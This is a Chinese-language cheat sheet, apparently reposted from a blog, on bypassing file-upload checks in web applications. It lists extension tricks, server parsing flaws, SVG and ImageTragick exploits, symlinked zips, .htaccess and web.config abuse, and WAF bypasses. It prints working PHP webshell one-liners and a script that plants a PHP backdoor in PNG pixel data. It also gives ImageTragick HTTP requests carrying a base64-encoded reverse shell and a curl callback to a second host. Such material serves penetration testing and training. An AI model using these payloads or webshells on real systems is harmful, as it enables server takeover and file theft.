png文件头_文件上传总结
可以參考upload-labs
檢驗規則
1、客戶端javascript校驗
通常在前端進行過濾,我們可以通過命名1.php.jpg上傳,然后修改數據包文件名filename=1.php上傳。或者直接禁用JS,上傳1.php。都可以繞過前端驗證。
可以參考upload-labs第一題
2.文件頭content-type字段校驗(image/gif)
這里可以參考upload-labs 第二題,通過修改Content-Type達到繞過檢測
Content-Type : image/gifContent-Type : image/pngContent-Type : image/jpegContent-Type : application/x-phpContent-Type : application/octet-stream3.文件內容頭校驗
應用程序根據其首個簽名字節來識別文件類型。在文件中添加/替換它們可能會欺騙應用程序。
https://en.wikipedia.org/wiki/List_of_file_signatures
方式1:
可以使用winhex等軟件在文件頭內加入GIF87a的47 49 46 38 37 61 ?,從而欺騙應用程序。
方式2:
在一句話木馬前面再加一些圖片文件信息,如
GIF89a<?php @eval($_POST['caidao']);?>方式3:
Windows捆綁
copy 1.png /b + 2.php /a 3.png4.后綴名黑/白名單校驗:擴展名
黑名單:參考擴展名繞過。特殊可解析后綴、大小寫、.、$::DATA、空格、嵌套、/.、.htaccess、解析漏洞
白名單的繞過方法:00截斷、解析漏洞。
5.文件內容校驗:二次渲染
二次渲染繞過:
A:可以通過對比渲染前后的圖片找到未被修改的位置加入惡意代碼
B:二次渲染生成圖片腳本
向PNG圖片的IDAT數據塊中插入PHP后門代碼
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, ? ? ? ? ? 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, ? ? ? ? ? 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, ? ? ? ? ? 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, ? ? ? ? ? 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, ? ? ? ? ? 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, ? ? ? ? ? 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, ? ? ? ? ? 0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) { ? $r = $p[$y]; ? $g = $p[$y+1]; ? $b = $p[$y+2]; ? $color = imagecolorallocate($img, $r, $g, $b); ? imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./1.png');?>后門代碼:
=$_GET[0]($_POST[1]);?>擴展名繞過
php擴展名
.php.php3.php4.php5.php7.pht.phar.phpt.pgif.phtml.phtm.jpeg.php.jpg.php.png.phpwindwos會自動去掉不符合規則的符號
.php.,.php.php:1.jpg.php::$DATAasp擴展名
.asp.aspx.cer and .asa (IIS <= 7.5)shell.aspx;1.jpg (IIS < 7.0)perl擴展名
.pl.pm.cgi.libjsp擴展名
.jsp.jspx.jsw.jsv.jspfColdfusion擴展名
.cfm.cfml.cfc.dbm空字節
.php%00.gif.php\x00.gif.php%00.png.php\x00.png.php%00.jpg.php\x00.jpg解析漏洞
IIS5.x/IIS 6.0解析漏洞
A:在.asp目錄下的任意文件會以asp格式解析
test.jpg會以asp格式解析
例如:http://127.0.0.1/test.asp/test.jpgb: ?;截斷
test.asp;.jpg 會產生截斷,使文件以asp形式運行
例如:http://127.0.0.1/test.asp;.jpgIIS 7.0/IIS7.5
該文件以php格式執行
例如:http://127.0.0.1/test.txt/.phpapache 解析漏洞(CVE-2017-15715)
使用burp hex功能在1.php后面添加一個\x0A
訪問的時候通過1.php\x0A
Nginx解析漏洞
Nginx 0.8 <= 0.8.37
以上Nginx容?的版本下,上傳一個在waf白名單之內擴展名的文件shell.jpg,然后以shell.jpg%00.php進行請求。
Nginx 0.8.41 – 1.5.6
以上Nginx容?的版本下,上傳一個在waf白名單之內擴展名的文件shell.jpg,然后以shell.jpg%20%00.php進行請求。
PHP CGI解析漏洞
IIS 7.0/7.5Nginx < 0.8.3
以上的容?版本中默認php配置文件cgi.fix_pathinfo=1時,上傳一個存在于白名單的擴展名文件shell.jpg,在請求時以shell.jpg/shell.php請求,會將shell.jpg以php來解析
文件上傳擴展到其他漏洞
像素洪水攻擊,導致DOS
上傳大文件實現DOS攻擊
將文件名設置為并嘗試實現路徑遍歷 ../../../tmp/lol.png
將文件名設置為,您也許可以實現SQL注入sleep(10)-- -.jpg
設置文件名來實現XSS
設置文件名以測試一些命令注入; sleep 10;
SVG上傳
設置文件內容,圖像處理庫也可能支持SVG圖像,由于SVG格式使用XML,因此攻擊者可以提交惡意的SVG映像,因此可以隱藏攻擊面以發現XXE漏洞。
payload1:payload2(php): ?上傳SVG文件實現XSS
payload1:POST /profile/upload HTTP/1.1Host: XXXXXXXXX.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Bearer XXXXXXXXXXXXXXXXXXContent-Type: multipart/form-data; boundary=---------------------------232181429808Content-Length: 574Connection: closeReferer: https://XXXXXXXXX-----------------------------232181429808Content-Disposition: form-data; name="img"; filename="img.svg"Content-Type: image/svg+xml<?xml version="1.0" standalone="no"?> ? ? ? ? alert("Ghostlulz XSS"); ? -----------------------------232181429808--payload2:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>οnlοad="window.location='http://www.example.com'"xmlns="http://www.w3.org/2000/svg">imagetragick (CVE-2016–3714)
可以使用vulHub去搭建環境
https://github.com/vulhub/vulhub/tree/master/imagemagick/imagetragick
在解析https圖片的時候,使用curl下載,由于沒有做限制,可以通過拼接命令來執行。
command=" "curl" -s -k -o "%o" "https:%M" "/>%M可以用管道拼接command=" "curl" -s -k -o "%o" "https://"|id && ls -al /etc/passwd"" "/>反彈shell poc
POST /upload.php HTTP/1.1Host: 192.168.80.141User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.80.141/upload.phpContent-Type: multipart/form-data; boundary=---------------------------188922290519572116071774556317Content-Length: 478Connection: closeUpgrade-Insecure-Requests: 1-----------------------------188922290519572116071774556317Content-Disposition: form-data; name="file_upload"; filename="upload.jpg"Content-Type: image/jpegpush graphic-contextviewbox 0 0 640 480fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguODAuMTM1LzQ0NDQgMD4mMQ== | base64 -d | bash`"||id " )'pop graphic-context------WebKitFormBoundarydGYwkOC91nnON1ws-------------------------------188922290519572116071774556317--curl poc:
POST /upload.php HTTP/1.1Host: 192.168.80.141User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.80.141/upload.phpContent-Type: multipart/form-data; boundary=---------------------------188922290519572116071774556317Content-Length: 402Connection: closeUpgrade-Insecure-Requests: 1-----------------------------188922290519572116071774556317Content-Disposition: form-data; name="file_upload"; filename="upload.jpg"Content-Type: image/jpegpush graphic-contextviewbox 0 0 640 480fill 'url(https://127.0.0.0/oops.jpg"|curl "192.168.80.135:8000)'pop graphic-context------WebKitFormBoundarydGYwkOC91nnON1ws-------------------------------188922290519572116071774556317--壓縮文件符號鏈接
可以參考:HCTF2018-Hide-and-seek
給test文件創建符號鏈接到/etc/passwd
ln -s /etc/passwd test添加到壓縮文件
zip -y test.zip test然后上傳到服務器,服務器會自動解壓縮。產生鏈接到/etc/passwd。從而導致任意文件讀取
unzip -n test.zip test配置文件
.htaccess
參考upload-labs 第4題,把shell.jpg解析為shell.php
SetHandler application/x-httpd-php更多.htaccess攻擊:
https://github.com/wireghoul/htshells
web.config
有時IIS支持ASP文件,但無法上傳任何擴展名為.ASP的文件。在這種情況下,可以直接使用web.config文件來運行ASP經典代碼
<?xml version="1.0" encoding="UTF-8"?> ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?可以參考htb的Bounty靶機。
PUT 上傳漏洞
可以通過options查看支持的http方法
看到Methods存在put,就可以嘗試一下put上傳
OPTIONS /resources/post-here/ HTTP/1.1Host: bar.otherAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Connection: keep-aliveOrigin: http://foo.exampleAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: X-PINGOTHER, Content-TypeHTTP/1.1 200 OKDate: Mon, 01 Dec 2008 01:15:39 GMTServer: Apache/2.0.61 (Unix)Access-Control-Allow-Origin: http://foo.exampleAccess-Control-Allow-Methods: POST, GET, OPTIONS, PUTAccess-Control-Allow-Headers: X-PINGOTHER, Content-TypeAccess-Control-Max-Age: 86400Vary: Accept-Encoding, OriginContent-Encoding: gzipContent-Length: 0Keep-Alive: timeout=2, max=100Connection: Keep-AliveContent-Type: text/plain使用PUT上傳:
PUT /new.html HTTP/1.1Host: example.comContent-type: text/htmlContent-length: 16New File
如果目標資源不存在,并且PUT方法成功創建了一份,那么源頭服務器必須返回201 (Created) 來通知客戶端資源已創建。
HTTP/1.1 201 CreatedContent-Location: /new.html如果目標資源已經存在,并且依照請求中封裝的表現形式成功進行了更新,那么,源頭服務器必須返回200 (OK) 或者204 (No Content) 來表示請求的成功完成。
HTTP/1.1 204 No ContentContent-Location: /existing.htmlbypass waf
Content-Disposition
使用多個content-dispositon繞過,IIS默認獲取第一個,waf可能只會取最后一個。
content-dispositon:form-data; name="file"; filename="shell.php"content-dispositon:form-data; name="file"; filename="shell.jpg"數據過長繞過
文件名繞過
filname="shell.............................................................................................................................................................................................................................................................asp"特殊文件名
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg后續再整理
1. filename在content-type下面2. .asp{80-90}3. NTFS ADS4. .asp...5. boundary不一致6. iis6分號截斷asp.asp;asp.jpg7. apache解析漏洞php.php.ddd8. boundary和content-disposition中間插入換行9. hello.php:a.jpg然后hello.<<<10. filename=php.php11. filename="a.txt";filename="a.php"12. name=\n"file";filename="a.php"13. content-disposition:\n14. .htaccess文件15. a.jpg.\nphp16. 去掉content-disposition的form-data字段17. php<5.3 單雙引號截斷特性18. 刪掉content-disposition: form-data;19. content-disposition\00:20. {char}+content-disposition21. head頭的content-type: tab22. head頭的content-type: multipart/form-DATA23. filename后綴改為大寫24. head頭的Content-Type: multipart/form-data;\n25. .asp空格26. .asp0x00.jpg截斷27. 雙boundary28. file\nname="php.php"29. head頭content-type空格:30. form-data字段與name字段交換位置參考:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files
https://cloud.tencent.com/developer/article/1516346
http://ghostlulz.com/xss-svg/
http://www.mi1k7ea.com/2019/10/14/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
http://www.owasp.org.cn/OWASP_Training/Upload_Attack_Framework.pdf
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
https://book.hacktricks.xyz/pentesting-web/file-upload
https://xz.aliyun.com/t/6783#toc-7
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Methods/PUT
https://blog.csdn.net/qq_26090065/article/details/82715361
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
https://paper.seebug.org/219/
https://e1sewhere.github.io/2019/02/13/upload-labs-%E7%BB%83%E4%B9%A0/
總結
以上是生活随笔為你收集整理的png文件头_文件上传总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python爬虫知识_Python 爬虫
- 下一篇: malloc 结构体_算法与数据结构——